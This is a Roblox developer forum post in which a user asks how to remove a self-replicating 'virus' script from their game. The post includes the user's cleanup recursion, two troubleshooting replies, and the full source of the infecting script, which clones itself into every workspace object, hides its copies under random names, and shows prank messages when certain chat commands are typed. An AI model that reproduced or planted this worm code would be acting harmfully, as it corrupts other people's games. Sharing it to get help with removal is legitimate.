I'm trying to build a game and every time I go into studio, EVERY instance, whether it be part, seat, or script, has a child who's classname is RotateP. And every RotateP is named a random name (I'll get to that in a second). Every RotateP in every instance in my game also has a script named "ProperGråmmerNeededInPhilosiphalLocations;insertNoobHere".
To solve this, I run a recursion that is as follows:
Containers = {"Folder", "Model"}
DangerousInstances = {"Script", "RotateP", "LocalScript", "Fire", "Smoke"}
function CheckDangerousInstances(instance)
for i, v in pairs(DangerousInstances) do
if instance:IsA(v) then
return true
end
end
return false
end
function CheckContainers(instance)
for i, v in pairs(Containers) do
if instance:IsA(v) then
return true
end
end
return false
end
function Recursion(Model)
for i, v in pairs(Model:GetChildren()) do
if CheckContainers(v) then
Recursion(v)
elseif v:IsA("BasePart") then
Recursion(v)
elseif CheckDangerousInstances(v) then
v:Destroy()
end
end
end
Recursion(workspace)
Basically it deletes all scripts, rotatep's, fires, and smokes. However, the virus is back once I save and exit and then reopen studio. I can't find the source of it in my game.
Extra info: The only free models I'm using are Scripth's Admin and the f3x tool, both of which are well known and don't contain a virus. Also, here is the virus script
names={"bombvatus","justineagle","spitfire591","chillydoom","god0i0trust","bakingsoda","gotohell123","robloxsniper5","micchukelz","å9001","IStårtHere"}
local NameCheck = false
script.Parent.Name = names[math.random(1, #names)]
script.Name = [[ProperGråmmerNeededInPhilosiphalLocations;insertNoobHere]]
local c = script.Parent:Clone()
function addEvent(ch)
wait(math.random())
NameCheck = false
for ss = 1, #names do
if ch:IsA("RotateP") or ch:findFirstChild(names[ss]) ~= nil then
NameCheck = true
end
end
if NameCheck == false then
local cloak = c:Clone()
cloak.Name = ""
cloak:GetChildren()[1].Name = ""
cloak.Parent = ch
cloak.Name = names[math.random(1, 5)]
end
end
workspace.ChildAdded:connect(addEvent)
game.Players.PlayerAdded:connect(function(pl)
pl.Chatted:connect(function(m)
if m:sub(1, 5) == "/sc t" then
local m = Instance.new("Message")
m.Parent = workspace
m.Text = "THEY CALL ME CRAZY"
wait(1)
m.Text = "lOoOoOoOp"
wait(0.25)
m.Text = "LoOoOoOoP"
wait(0.25)
m.Text = "lOoOoOoOp"
wait(0.25)
m.Text = "LoOoOoOoP"
wait(0.25)
m.Text = "lOoOoOoOp"
wait(0.25)
m.Text = "LoOoOoOoP"
wait(0.25)
m.Text = "GOTTA GOTTA BE CRAZY"
wait(1)
m.Text = "lOoOoOoOp"
wait(0.25)
m.Text = "LoOoOoOoP"
wait(0.25)
m.Text = "lOoOoOoOp"
wait(0.25)
m.Text = "LoOoOoOoP"
wait(0.25)
m.Text = "lOoOoOoOp"
wait(0.25)
m.Text = "LoOoOoOoP"
wait(0.25)
m.Text = "GOTTA GET A LIFE (YOU)"
wait(3)
m:remove()
end
if m:sub(1, 5) == "HAAXX" then
local m = Instance.new("Message")
m.Parent = workspace
m.Text = "HAAXX"
wait(3)
m:remove()
end
end)
end)
while true do
local s = workspace:GetChildren()
for i = 1, #s do
NameCheck = false
for ss = 1, #names do
if s[i]:IsA("RotateP") or s[i]:findFirstChild(names[ss]) ~= nil then
NameCheck = true
end
end
if NameCheck == false then
local cloak = c:Clone()
cloak.Name = ""
cloak:GetChildren()[1].Name = ""
cloak.Parent = s[i]
end
wait(0.1)
end
wait(1)
end

2 comments
How do you run the recursion? If you "play" the place (ex F5), then changes your scripts make (like deleting the virus) won't be saved. Instead, copy the script and paste it into the Command Bar without starting/playing the place
I paste it into the command bar and it successfully deletes the scripts, but when I play the game onto the gamepage the source of the virus clones the scripts once again.